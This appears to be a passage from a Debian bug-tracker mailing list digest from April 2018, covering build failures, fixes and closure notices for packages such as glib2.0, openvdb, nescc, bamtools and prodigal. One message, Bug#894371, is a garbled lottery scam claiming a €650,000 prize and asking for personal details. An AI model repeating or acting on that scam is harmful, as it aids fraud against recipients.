misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894677: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894677
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: glib2.0
Version: 2.56.0-5
Severity: serious
Justification: fails to build from source on release architecture (but
built successfully in the past)

According to https://buildd.debian.org/status/package.php?p=glib2.0 ,
glib2.0 FTBFS on i386.

>From 
>https://buildd.debian.org/status/fetch.php?pkg=glib2.0&arch=i386&ver=2.56.0-5&stamp=1522623405&raw=0
:

[...]
make[10]: Entering directory '/<>/debian/build/deb/gio/tests'
PASS: gapplication 1 /gapplication/no-dbus
PASS: gapplication 2 /gapplication/no-appid
PASS: gapplication 3 /gapplication/properties
PASS: gapplication 4 /gapplication/app-id
ERROR: gapplication - Bail out!
GLib-GIO:ERROR:../../../../../gio/tests/gapplication.c:572:test_quit:
assertion failed: (activated)
make[10]: Leaving directory '/<>/debian/build/deb/gio/tests'
[...]

--
Regards,
Boyuan Yang
--- End Message ---
--- Begin Message ---
Source: glib2.0
Source-Version: 2.56.0-6

We believe that the bug you reported is fixed in the latest version of
glib2.0, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Simon McVittie  (supplier of updated glib2.0 package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 09:24:45 +0100
Source: glib2.0
Binary: libglib2.0-0 libglib2.0-tests libglib2.0-udeb libglib2.0-bin 
libglib2.0-dev libglib2.0-dev-bin libglib2.0-data libglib2.0-doc libgio-fam
Architecture: source
Version: 2.56.0-6
Distribution: unstable
Urgency: medium
Maintainer: Debian GNOME Maintainers 

Changed-By: Simon McVittie 
Description:
 libgio-fam - GLib Input, Output and Streaming Library (fam module)
 libglib2.0-0 - GLib library of C routines
 libglib2.0-bin - Programs for the GLib library
 libglib2.0-data - Common files for GLib library
 libglib2.0-dev - Development files for the GLib library
 libglib2.0-dev-bin - Development utilities for the GLib library
 libglib2.0-doc - Documentation files for the GLib library
 libglib2.0-tests - GLib library of C routines - installed tests
 libglib2.0-udeb - GLib library of C routines - minimal runtime (udeb)
Closes: 894677
Changes:
 glib2.0 (2.56.0-6) unstable; urgency=medium
 .
   * Team upload
   * d/p/0002-gapplication-Tighten-up-application-ID-validation.patch:
 Transliterate commit message into ASCII so git-buildpackage doesn't
 export it as a blob of base64
   * d/p/g_test_dbus_down-Ensure-next-test-does-not-use-old-c.patch:
 Add patch to address a race condition that sometimes makes D-Bus-based
 tests fail (Closes: #894677)
   * d/patches: Improve metadata on various patches
Checksums-Sha1:
 e82decec9295363e35f26d88304e4f20590fe34a 3230 glib2.0_2.56.0-6.dsc
 9564c40765db49d462196ac102a7a3b5c2264fff 77644 glib2.0_2.56.0-6.debian.tar.xz
 7a5160f9fa47405935253b3c925e18971e53c5b7 8006 glib2.0_2.56.0-6_source.buildinfo
Checksums-Sha256:
 edb2641adeaf47ac258d58a4996a3960d0c68034ca1b20b25a791b1b808c0803 3230 
glib2.0_2.56.0-6.dsc
 564f8eb08eeaae93b7859f204486405f72c78a12c58cb19ca876fabac65c0dab 77644 
glib2.0_2.56.0-6.debian.tar.xz
 0af69619db940baa93bef2045118233ea89fd10efaf411cb126056c518239c81 8006 
glib2.0_2.56.0-6_source.buildinfo
Files:
 f548042bec03f79c24622ec88917cea1 3230 libs optional glib2.0_2.56.0-6.dsc
 b8ab02e28f49939296dc77b979e0f1d4 77644 libs optional 
glib2.0_2.56.0-6.debian.tar.xz
 41d9357fc06e4b35ca3e09d6a1d5b147 8006 libs optional 
glib2.0_2.56.0-6_source.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEENuxaZEik9e95vv6Y4FrhR4+BTE8FAlrGBpYACgkQ4FrhR4+B
TE9nvhAAtP8ykfVfsG2gx66QW3/THbSspgfUMh/BiubVzvDbKSZ0HaFXRqXnB1Zf
q+namcMQ4a9mV0iW46yxPPvmEzQg2ADR6WwIyYVB2+A06RNyn5mnh+9ptKgA

Bug#889710: it's the -mingw not binutils- part

[Stephen Kitt]

On Mon, 2 Apr 2018 20:47:20 +0200, Adam Borowski  wrote:
> > > Some recent change in unstable makes arch-test FTBFS:  
> >   
> > > This might be a regression somewhere in the MinGW packages,
> > > maintainer is Cc'ed.  
> 
> > Thanks for the report, this is indeed a recent regression in binutils 
> > (2.29.1-10 works, 2.29.1-13 doesn’t).  
> 
> On the other hand, taking Stretch's version of binutils-mingw-w64 and
> building it against current binutils (2.30-11) is free of this regression.
> The resulting package is 2.30-11+7.4.

Thanks Adam, that put me on the right track. I forgot to credit you in the
changelog for the upload, I’ll fix that in the next upload —
https://salsa.debian.org/debian/binutils-mingw-w64/commit/0bdfdad0b2dfdbd6f05b2396b30901c4ab96b370

Regards,

Stephen


pgpeRFvrREI8L.pgp
Description: OpenPGP digital signature

Bug#894533: cookiecutter: please drop catchlog dependency

[Gianfranco Costamagna]

Hello,
Ok let me rebase and push :)

thanks!

G.





Il Giovedì 5 Aprile 2018 9:34, Vincent Bernat  ha scritto:



❦  5 avril 2018 09:25 +0200, Gianfranco Costamagna  :


> I uploaded the package in deferred/5, as Team upload.

>

> Unfortunately I can't push because the 1.6.0-1 upload hasn't been

> pushed yet, so I'll attach the debdiff between the current package in

> unstable and the one in deferred/5

>

> please let me know if I can speed it up, this is the last blocker for

> catchlog removal


Hi!


I have just pushed the content of my git repository. Unfortunately, as I

didn't do it earlier, the debian/1.6.0-1 tag is not part of the tree. I

could move it, but it wouldn't match the upload. I think this is better

to keep it as is.


You should now be able to rebase and push if you want to.


I am in the "Maintainer" field by accident. This is what "py2dsp

--profile dpmt" does and I just noticed that lately. I consider all "my"

packages to be team-maintained. I'll try to fix that in future uploads.

-- 

Make it clear before you make it faster.

- The Elements of Programming Style (Kernighan & Plauger)

Bug#894151: marked as done (openvdb FTBFS with libblosc-dev 1.14.2+ds1-1)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 11:05:46 +
with message-id 
and subject line Bug#894151: fixed in openvdb 5.0.0-2
has caused the Debian Bug report #894151,
regarding openvdb FTBFS with libblosc-dev 1.14.2+ds1-1
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894151: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894151
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: openvdb
Version: 5.0.0-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/openvdb.html

...
g++ -c -g -O2 -fstack-protector-strong -Wformat -Werror=format-security 
-Wdate-time -D_FORTIFY_SOURCE=2 -fvisibility=hidden -fvisibility-inlines-hidden 
-pthread -g -I . -I .. -I /usr/include -I /usr/include/OpenEXR -I /usr/include 
-I /usr/include -I /usr/include -DOPENVDB_USE_BLOSC -DOPENVDB_USE_LOG4CPLUS 
-DOPENVDB_USE_GLFW_3 -I /usr/include -fPIC -o unittest/TestFile.o 
unittest/TestFile.cc
unittest/TestFile.cc: In member function 'void TestFile::testBlosc()':
unittest/TestFile.cc:2555:54: error: invalid conversion from 'char**' to 'const 
char**' [-fpermissive]
 if (0 > blosc_compcode_to_compname(compcode, &compname)) continue;
  ^
In file included from unittest/TestFile.cc:62:0:
/usr/include/blosc.h:348:18: note:   initializing argument 2 of 'int 
blosc_compcode_to_compname(int, const char**)'
 BLOSC_EXPORT int blosc_compcode_to_compname(int compcode, const char 
**compname);
  ^~
make[2]: *** [Makefile:873: unittest/TestFile.o] Error 1
--- End Message ---
--- Begin Message ---
Source: openvdb
Source-Version: 5.0.0-2

We believe that the bug you reported is fixed in the latest version of
openvdb, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Mathieu Malaterre  (supplier of updated openvdb package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Wed, 04 Apr 2018 22:08:41 +0200
Source: openvdb
Binary: libopenvdb5.0 libopenvdb-dev libopenvdb-doc libopenvdb-tools 
python-openvdb
Architecture: source
Version: 5.0.0-2
Distribution: unstable
Urgency: medium
Maintainer: Mathieu Malaterre 
Changed-By: Mathieu Malaterre 
Description:
 libopenvdb-dev - Sparse Volume Processing toolkit - dev
 libopenvdb-doc - Sparse Volume Processing toolkit - doc
 libopenvdb-tools - Sparse Volume Processing toolkit - runtime
 libopenvdb5.0 - Sparse Volume Processing toolkit - lib
 python-openvdb - Sparse Volume Processing toolkit - Python binding
Closes: 894151
Changes:
 openvdb (5.0.0-2) unstable; urgency=medium
 .
   * Bump Std-Vers to 4.1.3. No changes needed
   * Add patch to cope with blosc API change. Closes: #894151
 Thanks to Juhani Numminen for patch.
Checksums-Sha1:
 9ba2acb222941050ab1228daaa08b45485158cdd 2562 openvdb_5.0.0-2.dsc
 d5413d79f9e38815205f901b3f5875c387039fd2 14940 openvdb_5.0.0-2.debian.tar.xz
 33f585256585cb0a49005f275b7e43a55070865a 11703 openvdb_5.0.0-2_source.buildinfo
Checksums-Sha256:
 6652ffb005a168a8a57143032475f7b94c9eed967bf718d9c202b436a76e5229 2562 
openvdb_5.0.0-2.dsc
 8a5d2b900451f5993292ca639574fcf0da2d81d5bdb98a387630d43316f3915c 14940 
openvdb_5.0.0-2.debian.tar.xz
 06775fe9fee9b458563515ce2963302fc8fbaa3764668b55c6bde68b372814fb 11703 
openvdb_5.0.0-2_source.buildinfo
Files:
 c410b36c42ec5f999b5412ad2a767bc2 2562 libs optional openvdb_5.0.0-2.dsc
 977cd2afe93b24be8e8158f56438c9b8 14940 libs optional 
openvdb_5.0.0-2.debian.tar.xz
 3a8bf4a788f1c2480b10b2c512c0ba90 11703 libs optional 
openvdb_5.0.0-2_source.buildinfo

-BEGIN PGP SIGNATURE-

iQJFBAEBCAAvFiEEaTNn/67NjqrNHwY7AXHhgorgk0UFAlrF/fcRHG1hbGF0QGRl
Ymlhbi5vcmcACgkQAXHhgorgk0WgeA//W6ljA08MV/FaB7JxiVdJq8EBzdS75k+c
TmXX0s+iciNuvZcYiUh/3a1JFOu+OImPmJnX87CitJz5b948m2FMhMYhJ0pkmW3Z
jMurktgTMcWbFeskeDX9vF69+6a6kdjc7LGwMqhYyWwml1gU/aeu8Unfd1AsgKxO
fo/TtmSp91zGvuIUtlnTWqGSRZM5t9tImKk962fHArC9RKYVEh5dnuNR8SnwHE2w
EacQgdMNgX8Yvx/88Bh0ViYc457+ewgiuw61DIdYzBXxul/JFtSruAjM/TbgmOVW
c5oN3Qjm1+O4dKSCaVwiN7h0HN876YO01L5icPOih8vLrhab4YESElVV3CtFTSLm
vwAs8Toke2PyF

Bug#873995: marked as done (FTBFS with Java 9 due to -source/-target only)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 11:05:30 +
with message-id 
and subject line Bug#873995: fixed in nescc 1.3.5-1.1
has caused the Debian Bug report #873995,
regarding FTBFS with Java 9 due to -source/-target only
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
873995: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=873995
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: nescc
Version: 1.3.5
Severity: normal
User: debian-j...@lists.debian.org
Usertags: default-java9

This package fails to build with default-jdk pointing to openjdk-9-jdk.
The wiki has some common problems and their solutions:
https://wiki.debian.org/Java/Java9Pitfalls

An automated tool has decided that this package will build fine if the
-source and -target options are changed to 1.6; no additional changes
are required. This was done by building with a compiler that changed
the settings automatically, then the real compiler, and diffing the
results. This modified compiler will never be part of Debian.

ant and Maven are supposed to do this for you, and I've tried to check
that this package is not using ant or Maven correctly, but I might have
messed up.

Build log sample:

make[7]: Entering directory 
'/build/nescc-1.3.5/tools/java/net/tinyos/nesc/wiring'
CLASSPATH=`cygpath -w ../../../.. 2>/dev/null || echo ../../../..` javac 
-source 1.5 -target 1.5 WiringCheck.java
warning: [options] bootstrap class path not set in conjunction with -source 1.5
error: Source option 1.5 is no longer supported. Use 1.6 or later.
error: Target option 1.5 is no longer supported. Use 1.6 or later.
make[7]: *** [WiringCheck.class] Error 2
Makefile:464: recipe for target 'WiringCheck.class' failed
make[7]: Leaving directory 
'/build/nescc-1.3.5/tools/java/net/tinyos/nesc/wiring'

Cheers,
Chris.
--- End Message ---
--- Begin Message ---
Source: nescc
Source-Version: 1.3.5-1.1

We believe that the bug you reported is fixed in the latest version of
nescc, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 873...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Balint Reczey  (supplier of updated nescc package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Thu, 05 Apr 2018 12:33:46 +0200
Source: nescc
Binary: nescc
Architecture: source
Version: 1.3.5-1.1
Distribution: unstable
Urgency: medium
Maintainer: Sebastian Reichel 
Changed-By: Balint Reczey 
Description:
 nescc  - Programming Language for Deeply Networked Systems
Closes: 873995
Changes:
 nescc (1.3.5-1.1) unstable; urgency=medium
 .
   [ Sebastian Reichel ]
   * ignore false positive license problem
   * build for java 5
 .
   [ Markus Koschany ]
   * Fix FTBFS with Java 9 (Closes: #873995)
 .
   [ Balint Reczey]
   * Non-maintainer upload
Checksums-Sha1:
 398a3ec525a97a226de9f75f6b28ac5ef0f3aa6b 1899 nescc_1.3.5-1.1.dsc
 257c1dd577525b9cd896c1c55a93ced32ef14df8 6468 nescc_1.3.5-1.1.debian.tar.xz
 a3944e35b90c4976b2348e18d482b508687b2697 6792 nescc_1.3.5-1.1_source.buildinfo
Checksums-Sha256:
 3edb0083a63f815ffa8455d3b808b2b229597bde790456b4d2c638e9f3ff2046 1899 
nescc_1.3.5-1.1.dsc
 889656679f06702783c326884f265583ebf40ae99c68061131a4f1fbb2f42bb4 6468 
nescc_1.3.5-1.1.debian.tar.xz
 a5f090b0c3ecf70bc9d9cba0f4782e1b56c9c9d9bcccf58cd4d8b3b2eec22946 6792 
nescc_1.3.5-1.1_source.buildinfo
Files:
 e5f00f18884331fad7b03c453510f16c 1899 devel optional nescc_1.3.5-1.1.dsc
 7a922b19847336b93f4706c68b8a2e6d 6468 devel optional 
nescc_1.3.5-1.1.debian.tar.xz
 70b4b1efd18da46a9cd64b6eea40a0ec 6792 devel optional 
nescc_1.3.5-1.1_source.buildinfo

-BEGIN PGP SIGNATURE-

iQJHBAEBCgAxFiEEOXpIEO6xMwaMLot69mTSVrRpGn0FAlrF/FkTHHJiYWxpbnRA
dWJ1bnR1LmNvbQAKCRD2ZNJWtGkafXhmD/4zI/LDxkQYv2RfCqgWoAPt51yAngO3
/rdxTEBUloia0lCNYMgTEw39/nohk85OqU9BJA/bfCpOGn+DbJch1Z8rzxOdFq7V
4Tt8ZG3GxZHAVmF9DyjoUviO+3qpvpe0f0kJ875NrrgMv2OwbytEmJZ6ZFqj3KmV
SOq8KLLRfMYyWr4fEcpdNw1KAi6/028zKnOoGdQfBUn2ZyLIS5UOnq7y2YynHuTB
dbQdvf5K+A/e8GyF3n7dmZPTgZBdO5KhpZH34zxBkumGo9a3fVmUO/vhApEhTfR8
roUyH3XU+0XfWaskPpCofnkh6rqju5cvVrC6Ji/zR/KBGoWx/vDuAC72LEoGreiD
3dFH7/yfKgz9T7r/6SWkHxDxwRinCoV8kkMqDwIxMjQSjaG5yBpZ58pmWJSzOMcO
CxAq9YWss

Bug#894886: marked as done (libbamtools-dev needs Breaks+Replaces: libbamtools2.4.0 (<< 2.5.1+dfsg-2~))

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 10:35:01 +
with message-id 
and subject line Bug#894886: fixed in bamtools 2.5.1+dfsg-3
has caused the Debian Bug report #894886,
regarding libbamtools-dev needs Breaks+Replaces: libbamtools2.4.0 (<< 
2.5.1+dfsg-2~)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894886: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894886
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: libbamtools-dev
Version: 2.5.1+dfsg-2
Severity: serious

Unpacking libbamtools-dev:amd64 (2.5.1+dfsg-2) over (2.5.1+dfsg-1) ...
dpkg: error processing archive 
/tmp/apt-dpkg-install-tvD183/09-libbamtools-dev_2.5.1+dfsg-2_amd64.deb 
(--unpack):
 trying to overwrite '/usr/include/bamtools/api/BamAlgorithms.h', which is also 
in package libbamtools2.4.0 2.5.1+dfsg-1
--- End Message ---
--- Begin Message ---
Source: bamtools
Source-Version: 2.5.1+dfsg-3

We believe that the bug you reported is fixed in the latest version of
bamtools, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andreas Tille  (supplier of updated bamtools package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 11:54:57 +0200
Source: bamtools
Binary: bamtools libbamtools-dev libbamtools2.5.1 libbamtools-doc
Architecture: source
Version: 2.5.1+dfsg-3
Distribution: unstable
Urgency: medium
Maintainer: Debian Med Packaging Team 

Changed-By: Andreas Tille 
Description:
 bamtools   - toolkit for manipulating BAM (genome alignment) files
 libbamtools-dev - C++ API for manipulating BAM (genome alignment) files
 libbamtools-doc - docs for dynamic library for manipulating BAM (genome 
alignment)
 libbamtools2.5.1 - dynamic library for manipulating BAM (genome alignment) 
files
Closes: 894886
Changes:
 bamtools (2.5.1+dfsg-3) unstable; urgency=medium
 .
   * Point Vcs fields to salsa.debian.org
   * Use Breaks+Replaces: libbamtools2.4.0 (<< 2.5.1+dfsg-2~) since the
 includes were formerly in lib package
 Closes: #894886
Checksums-Sha1:
 b8f5f250751383ad5c27bafd67eb9728259f12c1 2392 bamtools_2.5.1+dfsg-3.dsc
 360f7dcc8fed5ad05d39fa1f142562682b5b69df 10732 
bamtools_2.5.1+dfsg-3.debian.tar.xz
Checksums-Sha256:
 8bb64f9912e8469db0ca43ff184d79f8d1aca43ef6bfe6ebf4378a0bcef71dbd 2392 
bamtools_2.5.1+dfsg-3.dsc
 1b7364439cc5c71f1c7f8404e188372d2fe9976639530709923f82b36e474b88 10732 
bamtools_2.5.1+dfsg-3.debian.tar.xz
Files:
 f343ff2075d9f4b82a48e26b6ea0d0db 2392 science optional 
bamtools_2.5.1+dfsg-3.dsc
 80cd2ecb27a1c44e3c37d419da25d1c3 10732 science optional 
bamtools_2.5.1+dfsg-3.debian.tar.xz

-BEGIN PGP SIGNATURE-

iQJFBAEBCAAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAlrF87IRHHRpbGxlQGRl
Ymlhbi5vcmcACgkQV4oElNHGRtFiRg//eHFhrrKkQAwWBpG0SNrCKWPNmbFATdDh
SlhNi6a6RAlnJvkuKsfan0RTADtXhDVoSOu3LI4qLU0O6w+kVJJ3AjnGhObzoSzd
H7nOXA/i+uTjg5DzoD4LG3J2l2nsZ9HsHu1erdDfdRYFbfQxLy56NI4sIpCzW+t4
F7Bqyy1dXhms8fRMGAfQBfGyTzQOqq2Snbein7FjZHvKMOjpjHklaV9O/NcKh15N
85CnAHvMWX91QbIVDSdelaI9+kC1zj7Xx3x1ayu3iaKoFMTuF9kUho8MuR9LwHri
2vV5HLbpulO+YfcoHKhC+KuCnkuqmHHVqy5qfj9mHYMnKmCmRa+AF+QaiEn9oQJa
dEWxRYhGl7FLajWgtEP0gav8OGJgCSXsWnE3+a29Sc6DNbq5MWsIwQpDzmhpc9rc
buhcyLZm4fRd6MZWuBIY+bThthTMqTHP9k081OQJxoF08BaaPjJMOdO3K+SvfYTS
eeaqt8+DEaOdm0fvvAVeqaasxqc68oBVqaCiikwrHJoPcjsQCt42WGx3PskF2eQy
uNfzRFjzy5eeAVlHKpOELv94Zul5jrN730yyDDY5YbzGi8xvTJJ99a1SajCCnm+t
T56oV8ySYrXunF+XTp2DGaPq8HCpV4mi6dH5PN91qZXRWbhG4K/41S8im/gzsSyf
t3JwZfejWEk=
=Cyac
-END PGP SIGNATURE End Message ---

Bug#894324: Reopen...

[Ole Streicher]

Control: reopen -1
Control: notfixed -1 0.9.8-2
Control: retitle -1 gnudatalanguage ftbfs on ppc64el
Control: forwarded -1 https://github.com/gnudatalanguage/gdl/issues/9

The supposed patch didn't help, so reopening. However, the FTBFS cause
on MIPS is different from ppc64el:

cc1plus: out of memory allocating 972584 bytes after a total of 51625984
bytes

and

virtual memory exhausted: Cannot allocate memory

Therefore I would remove them from this report. I am not sure whether it
is a gnudatalanguage problem or a mips/buildd problem.

Cheers


Ole

Processed: Reopen...

[Debian Bug Tracking System]

Processing control commands:

> reopen -1
Bug #894324 {Done: Ole Streicher } [src:gnudatalanguage] 
gnudatalanguage ftbfs on ppc64el, mips and mipsel
'reopen' may be inappropriate when a bug has been closed with a version;
all fixed versions will be cleared, and you may need to re-add them.
Bug reopened
No longer marked as fixed in versions gnudatalanguage/0.9.8-2.
> notfixed -1 0.9.8-2
Bug #894324 [src:gnudatalanguage] gnudatalanguage ftbfs on ppc64el, mips and 
mipsel
Ignoring request to alter fixed versions of bug #894324 to the same values 
previously set
> retitle -1 gnudatalanguage ftbfs on ppc64el
Bug #894324 [src:gnudatalanguage] gnudatalanguage ftbfs on ppc64el, mips and 
mipsel
Changed Bug title to 'gnudatalanguage ftbfs on ppc64el' from 'gnudatalanguage 
ftbfs on ppc64el, mips and mipsel'.
> forwarded -1 https://github.com/gnudatalanguage/gdl/issues/9
Bug #894324 [src:gnudatalanguage] gnudatalanguage ftbfs on ppc64el
Set Bug forwarded-to-address to 
'https://github.com/gnudatalanguage/gdl/issues/9'.

-- 
894324: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894324
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: tagging 891541

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 891541 + patch
Bug #891541 [lua-posix] lua-posix: Loading fails with "module 'posix.ctype' not 
found"
Added tag(s) patch.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
891541: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=891541
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894371: S???a??t???a ??ete ?e?d?se? € 650,000.00 st?

[GOOGLE INC]

S???a??t???a ??ete ?e?d?se? € 650,000.00 st? Euro Millions / Google
?? µ???a?e? ???se?? p?s?? p?a?µat?p??a? t?? 1? ?a?t??? 2018.
?pste µe t?? a?t?p??s?p? µa? µe t?? pa?a??t? pf???e? ??a a???se?? 
Email: janosiklubos...@gmail.com

1. e? ???µa:
2. ??es?:
3. F???:
4. ?a:
5. ?pass?:
6. f???:

Robert Avtandiltayn
Online S??t???st??

Bug#894473: marked as done (prodigal FTBFS on armel/armhf: Build killed with signal TERM after 150 minutes of inactivity)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 09:23:19 +
with message-id 
and subject line Bug#894473: fixed in prodigal 1:2.6.3-3
has caused the Debian Bug report #894473,
regarding prodigal FTBFS on armel/armhf: Build killed with signal TERM after 
150 minutes of inactivity
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894473: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894473
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: prodigal
Version: 1:2.6.3-1
Severity: serious
Tags: buster sid patch

https://buildd.debian.org/status/package.php?p=prodigal&suite=sid

...
E: Build killed with signal TERM after 150 minutes of inactivity


On armhf gcc needs 6.5 hours (sic) to compile training.c

This can be workarounded with the attached patch plus the
following debian/rules change:

--- debian/rules.old2018-03-27 16:19:52.842571587 +
+++ debian/rules2018-03-27 16:21:55.221340424 +
@@ -3,6 +3,15 @@
 # Uncomment this to turn on verbose mode.
 #export DH_VERBOSE=1
 
+include /usr/share/dpkg/architecture.mk
+
+ifneq (,$(filter $(DEB_HOST_ARCH), armel armhf))
+  export DEB_CFLAGS_MAINT_APPEND = -O1
+else
+  export DEB_CFLAGS_MAINT_APPEND = -O3
+endif
+
+
 CFLAGS=$(shell dpkg-buildflags --get CFLAGS)
 LDFLAGS=$(shell dpkg-buildflags --get LDFLAGS)
 CFLAGS+=$(HARDENING_CFLAGS)
Description: Stop overwriting the optimization with -O3
Author: Adrian Bunk 

--- prodigal-2.6.3.orig/Makefile
+++ prodigal-2.6.3/Makefile
@@ -21,7 +21,7 @@
 SHELL   = /bin/sh
 CC  = gcc
 
-CFLAGS  += -pedantic -Wall -O3
+CFLAGS  += -pedantic -Wall
 LFLAGS = -lm $(LDFLAGS)
 
 TARGET  = prodigal
--- End Message ---
--- Begin Message ---
Source: prodigal
Source-Version: 1:2.6.3-3

We believe that the bug you reported is fixed in the latest version of
prodigal, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Andreas Tille  (supplier of updated prodigal package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 09:52:17 +0200
Source: prodigal
Binary: prodigal
Architecture: source
Version: 1:2.6.3-3
Distribution: unstable
Urgency: medium
Maintainer: Debian Med Packaging Team 

Changed-By: Andreas Tille 
Description:
 prodigal   - Microbial (bacterial and archaeal) gene finding program
Closes: 894473
Changes:
 prodigal (1:2.6.3-3) unstable; urgency=medium
 .
   [ Adrian Bunk ]
   * Stop overwriting the optimization with -O3
 Closes: #894473
 .
   [ Andreas Tille ]
   * Point Vcs fields to salsa.debian.org
Checksums-Sha1:
 e612585002c1aa215f90768c19449d314ad57894 1987 prodigal_2.6.3-3.dsc
 a544e2014e31ddc99d782bcf9bd8ab7092b9415b 49048 prodigal_2.6.3-3.debian.tar.xz
Checksums-Sha256:
 55d8f32ed65f49c5cf8fd7cab6a411ce3c8b2b005cd7b88e54784a61d1052eab 1987 
prodigal_2.6.3-3.dsc
 6a228666d8216d995338f8a87959b1c80c33ad9507fa172d6817be10e1448b06 49048 
prodigal_2.6.3-3.debian.tar.xz
Files:
 1d4740a66bf9677fb9b24858fc2a331e 1987 science optional prodigal_2.6.3-3.dsc
 4f24884b12961d11e9575cfa584a436a 49048 science optional 
prodigal_2.6.3-3.debian.tar.xz

-BEGIN PGP SIGNATURE-

iQJFBAEBCAAvFiEE8fAHMgoDVUHwpmPKV4oElNHGRtEFAlrF1yURHHRpbGxlQGRl
Ymlhbi5vcmcACgkQV4oElNHGRtH80g/+KKR4Dmmv3XDdVQiACwR8iMiGOtfAs5X4
8X0dy7ieQ+1SJUcjiKXOO5QHElF3CExVdrhPOTK+JzwuiwV+kDZBry+i9g5ek6Mx
NyUv/o1qCZIdS69tvz3AZtd32w1Ydz0qVSOWnoD04J+8Htm/1meAK3VePvRf0j0M
nW4//o7i0jz9jAn7xdhxcZryF4p1ksDylrifvvX1B8au5vYl60jkXCEgbgYaPEbo
tWFKy8mBsoCqUcNSVX3UFv8BAs7mDDOp+l1iJfkMyXkwwaRJiA+CasmaRLTq/fNc
ONCy8iD2Uok8o0ymFqBd1cPoQtIQMaBRW3/G4iWqzWkk19hmORA6qsawR9L0E1kY
LtjRI36cVcZIj+S91FlmSE92OEIy2wSASFRgwxUhV1G2tkXuUnHwjyT/p+uUt8ll
QQtabgionDjZid0bvXdPF9YJgjozZu2m2iOlW0nQqaJUhsWzVCuF+1pvk0EAdkuN
aWwA6ra0eVv9xLKnz983IihJtYaoR97TjBXXwg8z4So7xavCeEGS7PEljgz5ADfN
